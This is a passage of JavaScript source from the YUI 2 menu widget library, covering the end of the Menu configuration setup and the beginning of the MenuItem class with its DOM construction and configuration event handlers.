Boolean */ oConfig.addProperty( AUTO_SUBMENU_DISPLAY_CONFIG.key, { value: AUTO_SUBMENU_DISPLAY_CONFIG.value, validator: AUTO_SUBMENU_DISPLAY_CONFIG.validator, suppressEvent: AUTO_SUBMENU_DISPLAY_CONFIG.suppressEvent } ); /** * @config showdelay * @description Number indicating the time (in milliseconds) that should * expire before a submenu is made visible when the user mouses over * the menu's items. This property is only applied when the "position" * configuration property is set to dynamic and is automatically applied * to all submenus. * @default 250 * @type Number */ oConfig.addProperty( SHOW_DELAY_CONFIG.key, { value: SHOW_DELAY_CONFIG.value, validator: SHOW_DELAY_CONFIG.validator, suppressEvent: SHOW_DELAY_CONFIG.suppressEvent } ); /** * @config hidedelay * @description Number indicating the time (in milliseconds) that should * expire before the menu is hidden. This property is only applied when * the "position" configuration property is set to dynamic and is * automatically applied to all submenus. * @default 0 * @type Number */ oConfig.addProperty( HIDE_DELAY_CONFIG.key, { handler: this.configHideDelay, value: HIDE_DELAY_CONFIG.value, validator: HIDE_DELAY_CONFIG.validator, suppressEvent: HIDE_DELAY_CONFIG.suppressEvent } ); /** * @config submenuhidedelay * @description Number indicating the time (in milliseconds) that should * expire before a submenu is hidden when the user mouses out of a menu item * heading in the direction of a submenu. The value must be greater than or * equal to the value specified for the "showdelay" configuration property. * This property is only applied when the "position" configuration property * is set to dynamic and is automatically applied to all submenus. * @default 250 * @type Number */ oConfig.addProperty( SUBMENU_HIDE_DELAY_CONFIG.key, { value: SUBMENU_HIDE_DELAY_CONFIG.value, validator: SUBMENU_HIDE_DELAY_CONFIG.validator, suppressEvent: SUBMENU_HIDE_DELAY_CONFIG.suppressEvent } ); /** * @config clicktohide * @description Boolean indicating if the menu will automatically be * hidden if the user clicks outside of it. This property is only * applied when the "position" configuration property is set to dynamic * and is automatically applied to all submenus. * @default true * @type Boolean */ oConfig.addProperty( CLICK_TO_HIDE_CONFIG.key, { value: CLICK_TO_HIDE_CONFIG.value, validator: CLICK_TO_HIDE_CONFIG.validator, suppressEvent: CLICK_TO_HIDE_CONFIG.suppressEvent } ); /** * @config container * @description HTML element reference or string specifying the id * attribute of the HTML element that the menu's markup should be * rendered into. * @type <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-58190037">HTMLElement</a>|String * @default document.body */ oConfig.addProperty( CONTAINER_CONFIG.key, { handler: this.configContainer, value: document.body, suppressEvent: CONTAINER_CONFIG.suppressEvent } ); /** * @config scrollincrement * @description Number used to control the scroll speed of a menu. Used to * increment the "scrollTop" property of the menu's body by when a menu's * content is scrolling. When set this property is automatically applied * to all submenus. * @default 1 * @type Number */ oConfig.addProperty( SCROLL_INCREMENT_CONFIG.key, { value: SCROLL_INCREMENT_CONFIG.value, validator: SCROLL_INCREMENT_CONFIG.validator, supercedes: SCROLL_INCREMENT_CONFIG.supercedes, suppressEvent: SCROLL_INCREMENT_CONFIG.suppressEvent } ); /** * @config minscrollheight * @description Number defining the minimum threshold for the "maxheight" * configuration property. When set this property is automatically applied * to all submenus. * @default 90 * @type Number */ oConfig.addProperty( MIN_SCROLL_HEIGHT_CONFIG.key, { value: MIN_SCROLL_HEIGHT_CONFIG.value, validator: MIN_SCROLL_HEIGHT_CONFIG.validator, supercedes: MIN_SCROLL_HEIGHT_CONFIG.supercedes, suppressEvent: MIN_SCROLL_HEIGHT_CONFIG.suppressEvent } ); /** * @config maxheight * @description Number defining the maximum height (in pixels) for a menu's * body element (<code>&#60;div class="bd"&#62;</code>). Once a menu's body * exceeds this height, the contents of the body are scrolled to maintain * this value. This value cannot be set lower than the value of the * "minscrollheight" configuration property. * @default 0 * @type Number */ oConfig.addProperty( MAX_HEIGHT_CONFIG.key, { handler: this.configMaxHeight, value: MAX_HEIGHT_CONFIG.value, validator: MAX_HEIGHT_CONFIG.validator, suppressEvent: MAX_HEIGHT_CONFIG.suppressEvent, supercedes: MAX_HEIGHT_CONFIG.supercedes } ); /** * @config classname * @description String representing the CSS class to be applied to the * menu's root <code>&#60;div&#62;</code> element. The specified class(es) * are appended in addition to the default class as specified by the menu's * CSS_CLASS_NAME constant. When set this property is automatically * applied to all submenus. * @default null * @type String */ oConfig.addProperty( CLASS_NAME_CONFIG.key, { handler: this.configClassName, value: CLASS_NAME_CONFIG.value, validator: CLASS_NAME_CONFIG.validator, supercedes: CLASS_NAME_CONFIG.supercedes } ); /** * @config disabled * @description Boolean indicating if the menu should be disabled. * Disabling a menu disables each of its items. (Disabled menu items are * dimmed and will not respond to user input or fire events.) Disabled * menus have a corresponding "disabled" CSS class applied to their root * <code>&#60;div&#62;</code> element. * @default false * @type Boolean */ oConfig.addProperty( DISABLED_CONFIG.key, { handler: this.configDisabled, value: DISABLED_CONFIG.value, validator: DISABLED_CONFIG.validator, suppressEvent: DISABLED_CONFIG.suppressEvent } ); /** * @config shadow * @description Boolean indicating if the menu should have a shadow. * @default true * @type Boolean */ oConfig.addProperty( SHADOW_CONFIG.key, { handler: this.configShadow, value: SHADOW_CONFIG.value, validator: SHADOW_CONFIG.validator } ); /** * @config keepopen * @description Boolean indicating if the menu should remain open when clicked. * @default false * @type Boolean */ oConfig.addProperty( KEEP_OPEN_CONFIG.key, { value: KEEP_OPEN_CONFIG.value, validator: KEEP_OPEN_CONFIG.validator } ); } }); // END YAHOO.lang.extend })(); (function () { /** * Creates an item for a menu. * * @param {HTML} p_oObject Markup for the menu item content. The markup is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-74680021">HTMLLIElement</a>} p_oObject Object specifying * the <code>&#60;li&#62;</code> element of the menu item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-38450247">HTMLOptGroupElement</a>} p_oObject Object * specifying the <code>&#60;optgroup&#62;</code> element of the menu item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-70901257">HTMLOptionElement</a>} p_oObject Object * specifying the <code>&#60;option&#62;</code> element of the menu item. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu item. See configuration class documentation * for more details. * @class MenuItem * @constructor */ YAHOO.widget.MenuItem = function (p_oObject, p_oConfig) { if (p_oObject) { if (p_oConfig) { this.parent = p_oConfig.parent; this.value = p_oConfig.value; this.id = p_oConfig.id; } this.init(p_oObject, p_oConfig); } }; var Dom = YAHOO.util.Dom, Module = YAHOO.widget.Module, Menu = YAHOO.widget.Menu, MenuItem = YAHOO.widget.MenuItem, CustomEvent = YAHOO.util.CustomEvent, UA = YAHOO.env.ua, Lang = YAHOO.lang, // Private string constants _TEXT = "text", _HASH = "#", _HYPHEN = "-", _HELP_TEXT = "helptext", _URL = "url", _TARGET = "target", _EMPHASIS = "emphasis", _STRONG_EMPHASIS = "strongemphasis", _CHECKED = "checked", _SUBMENU = "submenu", _DISABLED = "disabled", _SELECTED = "selected", _HAS_SUBMENU = "hassubmenu", _CHECKED_DISABLED = "checked-disabled", _HAS_SUBMENU_DISABLED = "hassubmenu-disabled", _HAS_SUBMENU_SELECTED = "hassubmenu-selected", _CHECKED_SELECTED = "checked-selected", _ONCLICK = "onclick", _CLASSNAME = "classname", _EMPTY_STRING = "", _OPTION = "OPTION", _OPTGROUP = "OPTGROUP", _LI_UPPERCASE = "LI", _HREF = "href", _SELECT = "SELECT", _DIV = "DIV", _START_HELP_TEXT = "<em class=\"helptext\">", _START_EM = "<em>", _END_EM = "</em>", _START_STRONG = "<strong>", _END_STRONG = "</strong>", _PREVENT_CONTEXT_OVERLAP = "preventcontextoverlap", _OBJ = "obj", _SCOPE = "scope", _NONE = "none", _VISIBLE = "visible", _SPACE = " ", _MENUITEM = "MenuItem", _CLICK = "click", _SHOW = "show", _HIDE = "hide", _LI_LOWERCASE = "li", _ANCHOR_TEMPLATE = "<a href=\"#\"></a>", EVENT_TYPES = [ ["mouseOverEvent", "mouseover"], ["mouseOutEvent", "mouseout"], ["mouseDownEvent", "mousedown"], ["mouseUpEvent", "mouseup"], ["clickEvent", _CLICK], ["keyPressEvent", "keypress"], ["keyDownEvent", "keydown"], ["keyUpEvent", "keyup"], ["focusEvent", "focus"], ["blurEvent", "blur"], ["destroyEvent", "destroy"] ], TEXT_CONFIG = { key: _TEXT, value: _EMPTY_STRING, validator: Lang.isString, suppressEvent: true }, HELP_TEXT_CONFIG = { key: _HELP_TEXT, supercedes: [_TEXT], suppressEvent: true }, URL_CONFIG = { key: _URL, value: _HASH, suppressEvent: true }, TARGET_CONFIG = { key: _TARGET, suppressEvent: true }, EMPHASIS_CONFIG = { key: _EMPHASIS, value: false, validator: Lang.isBoolean, suppressEvent: true, supercedes: [_TEXT] }, STRONG_EMPHASIS_CONFIG = { key: _STRONG_EMPHASIS, value: false, validator: Lang.isBoolean, suppressEvent: true, supercedes: [_TEXT] }, CHECKED_CONFIG = { key: _CHECKED, value: false, validator: Lang.isBoolean, suppressEvent: true, supercedes: [_DISABLED, _SELECTED] }, SUBMENU_CONFIG = { key: _SUBMENU, suppressEvent: true, supercedes: [_DISABLED, _SELECTED] }, DISABLED_CONFIG = { key: _DISABLED, value: false, validator: Lang.isBoolean, suppressEvent: true, supercedes: [_TEXT, _SELECTED] }, SELECTED_CONFIG = { key: _SELECTED, value: false, validator: Lang.isBoolean, suppressEvent: true }, ONCLICK_CONFIG = { key: _ONCLICK, suppressEvent: true }, CLASS_NAME_CONFIG = { key: _CLASSNAME, value: null, validator: Lang.isString, suppressEvent: true }, KEY_LISTENER_CONFIG = { key: "keylistener", value: null, suppressEvent: true }, m_oMenuItemTemplate = null, CLASS_NAMES = {}; /** * @method getClassNameForState * @description Returns a class name for the specified prefix and state. If the class name does not * yet exist, it is created and stored in the CLASS_NAMES object to increase performance. * @private * @param {String} prefix String representing the prefix for the class name * @param {String} state String representing a state - "disabled," "checked," etc. */ var getClassNameForState = function (prefix, state) { var oClassNames = CLASS_NAMES[prefix]; if (!oClassNames) { CLASS_NAMES[prefix] = {}; oClassNames = CLASS_NAMES[prefix]; } var sClassName = oClassNames[state]; if (!sClassName) { sClassName = prefix + _HYPHEN + state; oClassNames[state] = sClassName; } return sClassName; }; /** * @method addClassNameForState * @description Applies a class name to a MenuItem instance's &#60;LI&#62; and &#60;A&#62; elements * that represents a MenuItem's state - "disabled," "checked," etc. * @private * @param {String} state String representing a state - "disabled," "checked," etc. */ var addClassNameForState = function (state) { Dom.addClass(this.element, getClassNameForState(this.CSS_CLASS_NAME, state)); Dom.addClass(this._oAnchor, getClassNameForState(this.CSS_LABEL_CLASS_NAME, state)); }; /** * @method removeClassNameForState * @description Removes a class name from a MenuItem instance's &#60;LI&#62; and &#60;A&#62; elements * that represents a MenuItem's state - "disabled," "checked," etc. * @private * @param {String} state String representing a state - "disabled," "checked," etc. */ var removeClassNameForState = function (state) { Dom.removeClass(this.element, getClassNameForState(this.CSS_CLASS_NAME, state)); Dom.removeClass(this._oAnchor, getClassNameForState(this.CSS_LABEL_CLASS_NAME, state)); }; MenuItem.prototype = { /** * @property CSS_CLASS_NAME * @description String representing the CSS class(es) to be applied to the * <code>&#60;li&#62;</code> element of the menu item. * @default "yuimenuitem" * @final * @type String */ CSS_CLASS_NAME: "yuimenuitem", /** * @property CSS_LABEL_CLASS_NAME * @description String representing the CSS class(es) to be applied to the * menu item's <code>&#60;a&#62;</code> element. * @default "yuimenuitemlabel" * @final * @type String */ CSS_LABEL_CLASS_NAME: "yuimenuitemlabel", /** * @property SUBMENU_TYPE * @description Object representing the type of menu to instantiate and * add when parsing the child nodes of the menu item's source HTML element. * @final * @type YAHOO.widget.Menu */ SUBMENU_TYPE: null, // Private member variables /** * @property _oAnchor * @description Object reference to the menu item's * <code>&#60;a&#62;</code> element. * @default null * @private * @type <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-48250443">HTMLAnchorElement</a> */ _oAnchor: null, /** * @property _oHelpTextEM * @description Object reference to the menu item's help text * <code>&#60;em&#62;</code> element. * @default null * @private * @type <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-58190037">HTMLElement</a> */ _oHelpTextEM: null, /** * @property _oSubmenu * @description Object reference to the menu item's submenu. * @default null * @private * @type YAHOO.widget.Menu */ _oSubmenu: null, /** * @property _oOnclickAttributeValue * @description Object reference to the menu item's current value for the * "onclick" configuration attribute. * @default null * @private * @type Object */ _oOnclickAttributeValue: null, /** * @property _sClassName * @description The current value of the "classname" configuration attribute. * @default null * @private * @type String */ _sClassName: null, // Public properties /** * @property constructor * @description Object reference to the menu item's constructor function. * @default YAHOO.widget.MenuItem * @type YAHOO.widget.MenuItem */ constructor: MenuItem, /** * @property index * @description Number indicating the ordinal position of the menu item in * its group. * @default null * @type Number */ index: null, /** * @property groupIndex * @description Number indicating the index of the group to which the menu * item belongs. * @default null * @type Number */ groupIndex: null, /** * @property parent * @description Object reference to the menu item's parent menu. * @default null * @type YAHOO.widget.Menu */ parent: null, /** * @property element * @description Object reference to the menu item's * <code>&#60;li&#62;</code> element. * @default <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level * -one-html.html#ID-74680021">HTMLLIElement</a> * @type <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-74680021">HTMLLIElement</a> */ element: null, /** * @property srcElement * @description Object reference to the HTML element (either * <code>&#60;li&#62;</code>, <code>&#60;optgroup&#62;</code> or * <code>&#60;option&#62;</code>) used create the menu item. * @default <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-74680021">HTMLLIElement</a>|<a href="http://www. * w3.org/TR/2000/WD-DOM-Level-1-20000929/level-one-html.html#ID-38450247" * >HTMLOptGroupElement</a>|<a href="http://www.w3.org/TR/2000/WD-DOM- * Level-1-20000929/level-one-html.html#ID-70901257">HTMLOptionElement</a> * @type <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-74680021">HTMLLIElement</a>|<a href="http://www.w3. * org/TR/2000/WD-DOM-Level-1-20000929/level-one-html.html#ID-38450247"> * HTMLOptGroupElement</a>|<a href="http://www.w3.org/TR/2000/WD-DOM- * Level-1-20000929/level-one-html.html#ID-70901257">HTMLOptionElement</a> */ srcElement: null, /** * @property value * @description Object reference to the menu item's value. * @default null * @type Object */ value: null, /** * @property browser * @deprecated Use YAHOO.env.ua * @description String representing the browser. * @type String */ browser: Module.prototype.browser, /** * @property id * @description Id of the menu item's root <code>&#60;li&#62;</code> * element. This property should be set via the constructor using the * configuration object literal. If an id is not specified, then one will * be created using the "generateId" method of the Dom utility. * @default null * @type String */ id: null, // Events /** * @event destroyEvent * @description Fires when the menu item's <code>&#60;li&#62;</code> * element is removed from its parent <code>&#60;ul&#62;</code> element. * @type YAHOO.util.CustomEvent */ /** * @event mouseOverEvent * @description Fires when the mouse has entered the menu item. Passes * back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event mouseOutEvent * @description Fires when the mouse has left the menu item. Passes back * the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event mouseDownEvent * @description Fires when the user mouses down on the menu item. Passes * back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event mouseUpEvent * @description Fires when the user releases a mouse button while the mouse * is over the menu item. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event clickEvent * @description Fires when the user clicks the on the menu item. Passes * back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event keyPressEvent * @description Fires when the user presses an alphanumeric key when the * menu item has focus. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event keyDownEvent * @description Fires when the user presses a key when the menu item has * focus. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event keyUpEvent * @description Fires when the user releases a key when the menu item has * focus. Passes back the DOM Event object as an argument. * @type YAHOO.util.CustomEvent */ /** * @event focusEvent * @description Fires when the menu item receives focus. * @type YAHOO.util.CustomEvent */ /** * @event blurEvent * @description Fires when the menu item loses the input focus. * @type YAHOO.util.CustomEvent */ /** * @method init * @description The MenuItem class's initialization method. This method is * automatically called by the constructor, and sets up all DOM references * for pre-existing markup, and creates required markup if it is not * already present. * @param {HTML} p_oObject Markup for the menu item content. The markup is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-74680021">HTMLLIElement</a>} p_oObject Object specifying * the <code>&#60;li&#62;</code> element of the menu item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-38450247">HTMLOptGroupElement</a>} p_oObject Object * specifying the <code>&#60;optgroup&#62;</code> element of the menu item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-70901257">HTMLOptionElement</a>} p_oObject Object * specifying the <code>&#60;option&#62;</code> element of the menu item. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu item. See configuration class documentation * for more details. */ init: function (p_oObject, p_oConfig) { if (!this.SUBMENU_TYPE) { this.SUBMENU_TYPE = Menu; } // Create the config object this.cfg = new YAHOO.util.Config(this); this.initDefaultConfig(); var oConfig = this.cfg, sURL = _HASH, oCustomEvent, aEventData, oAnchor, sTarget, sText, sId, i; if (Lang.isString(p_oObject)) { this._createRootNodeStructure(); oConfig.queueProperty(_TEXT, p_oObject); } else if (p_oObject && p_oObject.tagName) { switch(p_oObject.tagName.toUpperCase()) { case _OPTION: this._createRootNodeStructure(); oConfig.queueProperty(_TEXT, p_oObject.text); oConfig.queueProperty(_DISABLED, p_oObject.disabled); this.value = p_oObject.value; this.srcElement = p_oObject; break; case _OPTGROUP: this._createRootNodeStructure(); oConfig.queueProperty(_TEXT, p_oObject.label); oConfig.queueProperty(_DISABLED, p_oObject.disabled); this.srcElement = p_oObject; this._initSubTree(); break; case _LI_UPPERCASE: // Get the anchor node (if it exists) oAnchor = Dom.getFirstChild(p_oObject); // Capture the "text" and/or the "URL" if (oAnchor) { sURL = oAnchor.getAttribute(_HREF, 2); sTarget = oAnchor.getAttribute(_TARGET); sText = oAnchor.innerHTML; } this.srcElement = p_oObject; this.element = p_oObject; this._oAnchor = oAnchor; /* Set these properties silently to sync up the configuration object without making changes to the element's DOM */ oConfig.setProperty(_TEXT, sText, true); oConfig.setProperty(_URL, sURL, true); oConfig.setProperty(_TARGET, sTarget, true); this._initSubTree(); break; } } if (this.element) { sId = (this.srcElement || this.element).id; if (!sId) { sId = this.id || Dom.generateId(); this.element.id = sId; } this.id = sId; Dom.addClass(this.element, this.CSS_CLASS_NAME); Dom.addClass(this._oAnchor, this.CSS_LABEL_CLASS_NAME); i = EVENT_TYPES.length - 1; do { aEventData = EVENT_TYPES[i]; oCustomEvent = this.createEvent(aEventData[1]); oCustomEvent.signature = CustomEvent.LIST; this[aEventData[0]] = oCustomEvent; } while (i--); if (p_oConfig) { oConfig.applyConfig(p_oConfig); } oConfig.fireQueue(); } }, // Private methods /** * @method _createRootNodeStructure * @description Creates the core DOM structure for the menu item. * @private */ _createRootNodeStructure: function () { var oElement, oAnchor; if (!m_oMenuItemTemplate) { m_oMenuItemTemplate = document.createElement(_LI_LOWERCASE); m_oMenuItemTemplate.innerHTML = _ANCHOR_TEMPLATE; } oElement = m_oMenuItemTemplate.cloneNode(true); oElement.className = this.CSS_CLASS_NAME; oAnchor = oElement.firstChild; oAnchor.className = this.CSS_LABEL_CLASS_NAME; this.element = oElement; this._oAnchor = oAnchor; }, /** * @method _initSubTree * @description Iterates the source element's childNodes collection and uses * the child nodes to instantiate other menus. * @private */ _initSubTree: function () { var oSrcEl = this.srcElement, oConfig = this.cfg, oNode, aOptions, nOptions, oMenu, n; if (oSrcEl.childNodes.length > 0) { if (this.parent.lazyLoad && this.parent.srcElement && this.parent.srcElement.tagName.toUpperCase() == _SELECT) { oConfig.setProperty( _SUBMENU, { id: Dom.generateId(), itemdata: oSrcEl.childNodes } ); } else { oNode = oSrcEl.firstChild; aOptions = []; do { if (oNode && oNode.tagName) { switch(oNode.tagName.toUpperCase()) { case _DIV: oConfig.setProperty(_SUBMENU, oNode); break; case _OPTION: aOptions[aOptions.length] = oNode; break; } } } while((oNode = oNode.nextSibling)); nOptions = aOptions.length; if (nOptions > 0) { oMenu = new this.SUBMENU_TYPE(Dom.generateId()); oConfig.setProperty(_SUBMENU, oMenu); for(n=0; n<nOptions; n++) { oMenu.addItem((new oMenu.ITEM_TYPE(aOptions[n]))); } } } } }, // Event handlers for configuration properties /** * @method configText * @description Event handler for when the "text" configuration property of * the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configText: function (p_sType, p_aArgs, p_oItem) { var sText = p_aArgs[0], oConfig = this.cfg, oAnchor = this._oAnchor, sHelpText = oConfig.getProperty(_HELP_TEXT), sHelpTextHTML = _EMPTY_STRING, sEmphasisStartTag = _EMPTY_STRING, sEmphasisEndTag = _EMPTY_STRING; if (sText) { if (sHelpText) { sHelpTextHTML = _START_HELP_TEXT + sHelpText + _END_EM; } if (oConfig.getProperty(_EMPHASIS)) { sEmphasisStartTag = _START_EM; sEmphasisEndTag = _END_EM; } if (oConfig.getProperty(_STRONG_EMPHASIS)) { sEmphasisStartTag = _START_STRONG; sEmphasisEndTag = _END_STRONG; } oAnchor.innerHTML = (sEmphasisStartTag + sText + sEmphasisEndTag + sHelpTextHTML); } }, /** * @method configHelpText * @description Event handler for when the "helptext" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configHelpText: function (p_sType, p_aArgs, p_oItem) { this.cfg.refireEvent(_TEXT); }, /** * @method configURL * @description Event handler for when the "url" configuration property of * the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configURL: function (p_sType, p_aArgs, p_oItem) { var sURL = p_aArgs[0]; if (!sURL) { sURL = _HASH; } var oAnchor = this._oAnchor; if (UA.opera) { oAnchor.removeAttribute(_HREF); } oAnchor.setAttribute(_HREF, sURL); }, /** * @method configTarget * @description Event handler for when the "target" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configTarget: function (p_sType, p_aArgs, p_oItem) { var sTarget = p_aArgs[0], oAnchor = this._oAnchor; if (sTarget && sTarget.length > 0) { oAnchor.setAttribute(_TARGET, sTarget); } else { oAnchor.removeAttribute(_TARGET); } }, /** * @method configEmphasis * @description Event handler for when the "emphasis" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configEmphasis: function (p_sType, p_aArgs, p_oItem) { var bEmphasis = p_aArgs[0], oConfig = this.cfg; if (bEmphasis && oConfig.getProperty(_STRONG_EMPHASIS)) { oConfig.setProperty(_STRONG_EMPHASIS, false); } oConfig.refireEvent(_TEXT); }, /** * @method configStrongEmphasis * @description Event handler for when the "strongemphasis" configuration * property of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configStrongEmphasis: function (p_sType, p_aArgs, p_oItem) { var bStrongEmphasis = p_aArgs[0], oConfig = this.cfg; if (bStrongEmphasis && oConfig.getProperty(_EMPHASIS)) { oConfig.setProperty(_EMPHASIS, false); } oConfig.refireEvent(_TEXT); }, /** * @method configChecked * @description Event handler for when the "checked" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configChecked: function (p_sType, p_aArgs, p_oItem) { var bChecked = p_aArgs[0], oConfig = this.cfg; if (bChecked) { addClassNameForState.call(this, _CHECKED); } else { removeClassNameForState.call(this, _CHECKED); } oConfig.refireEvent(_TEXT); if (oConfig.getProperty(_DISABLED)) { oConfig.refireEvent(_DISABLED); } if (oConfig.getProperty(_SELECTED)) { oConfig.refireEvent(_SELECTED); } }, /** * @method configDisabled * @description Event handler for when the "disabled" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configDisabled: function (p_sType, p_aArgs, p_oItem) { var bDisabled = p_aArgs[0], oConfig = this.cfg, oSubmenu = oConfig.getProperty(_SUBMENU), bChecked = oConfig.getProperty(_CHECKED); if (bDisabled) { if (oConfig.getProperty(_SELECTED)) { oConfig.setProperty(_SELECTED, false); } addClassNameForState.call(this, _DISABLED); if (oSubmenu) { addClassNameForState.call(this, _HAS_SUBMENU_DISABLED); } if (bChecked) { addClassNameForState.call(this, _CHECKED_DISABLED); } } else { removeClassNameForState.call(this, _DISABLED); if (oSubmenu) { removeClassNameForState.call(this, _HAS_SUBMENU_DISABLED); } if (bChecked) { removeClassNameForState.call(this, _CHECKED_DISABLED); } } }, /** * @method configSelected * @description Event handler for when the "selected" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configSelected: function (p_sType, p_aArgs, p_oItem) { var oConfig = this.cfg, oAnchor = this._oAnchor, bSelected = p_aArgs[0], bChecked = oConfig.getProperty(_CHECKED), oSubmenu = oConfig.getProperty(_SUBMENU); if (UA.opera) { oAnchor.blur(); } if (bSelected && !oConfig.getProperty(_DISABLED)) { addClassNameForState.call(this, _SELECTED); if (oSubmenu) { addClassNameForState.call(this, _HAS_SUBMENU_SELECTED); } if (bChecked) { addClassNameForState.call(this, _CHECKED_SELECTED); } } else { removeClassNameForState.call(this, _SELECTED); if (oSubmenu) { removeClassNameForState.call(this, _HAS_SUBMENU_SELECTED); } if (bChecked) { removeClassNameForState.call(this, _CHECKED_SELECTED); } } if (this.hasFocus() && UA.opera) { oAnchor.focus(); } }, /** * @method _onSubmenuBeforeHide * @description "beforehide" Custom Event handler for a submenu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ _onSubmenuBeforeHide: function (p_sType, p_aArgs) { var oItem = this.parent, oMenu; function onHide() { oItem._oAnchor.blur(); oMenu.beforeHideEvent.unsubscribe(onHide); } if (oItem.hasFocus()) { oMenu = oItem.parent; oMenu.beforeHideEvent.subscribe(onHide); } }, /** * @method configSubmenu * @description Event handler for when the "submenu" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configSubmenu: function (p_sType, p_aArgs, p_oItem) { var oSubmenu = p_aArgs[0], oConfig = this.cfg, bLazyLoad = this.parent && this.parent.lazyLoad, oMenu, sSubmenuId, oSubmenuConfig; if (oSubmenu) { if (oSubmenu instanceof Menu) { oMenu = oSubmenu; oMenu.parent = this; oMenu.lazyLoad = bLazyLoad; } else if (Lang.isObject(oSubmenu) && oSubmenu.id && !oSubmenu.nodeType) { sSubmenuId = oSubmenu.id; oSubmenuConfig = oSubmenu; oSubmenuConfig.lazyload = bLazyLoad; oSubmenuConfig.parent = this; oMenu = new this.SUBMENU_TYPE(sSubmenuId, oSubmenuConfig); // Set the value of the property to the Menu instance oConfig.setProperty(_SUBMENU, oMenu, true); } else { oMenu = new this.SUBMENU_TYPE(oSubmenu, { lazyload: bLazyLoad, parent: this }); // Set the value of the property to the Menu instance oConfig.setProperty(_SUBMENU, oMenu, true); } if (oMenu) { oMenu.cfg.setProperty(_PREVENT_CONTEXT_OVERLAP, true); addClassNameForState.call(this, _HAS_SUBMENU); if (oConfig.getProperty(_URL) === _HASH) { oConfig.setProperty(_URL, (_HASH + oMenu.id)); } this._oSubmenu = oMenu; if (UA.opera) { oMenu.beforeHideEvent.subscribe(this._onSubmenuBeforeHide); } } } else { removeClassNameForState.call(this, _HAS_SUBMENU); if (this._oSubmenu) { this._oSubmenu.destroy(); } } if (oConfig.getProperty(_DISABLED)) { oConfig.refireEvent(_DISABLED); } if (oConfig.getProperty(_SELECTED)) { oConfig.refireEvent(_SELECTED); } }, /** * @method configOnClick * @description Event handler for when the "onclick" configuration property * of the menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configOnClick: function (p_sType, p_aArgs, p_oItem) { var oObject = p_aArgs[0]; /* Remove any existing listeners if a "click" event handler has already been specified. */ if (this._oOnclickAttributeValue && (this._oOnclickAttributeValue != oObject)) { this.clickEvent.unsubscribe(this._oOnclickAttributeValue.fn, this._oOnclickAttributeValue.obj); this._oOnclickAttributeValue = null; } if (!this._oOnclickAttributeValue && Lang.isObject(oObject) && Lang.isFunction(oObject.fn)) { 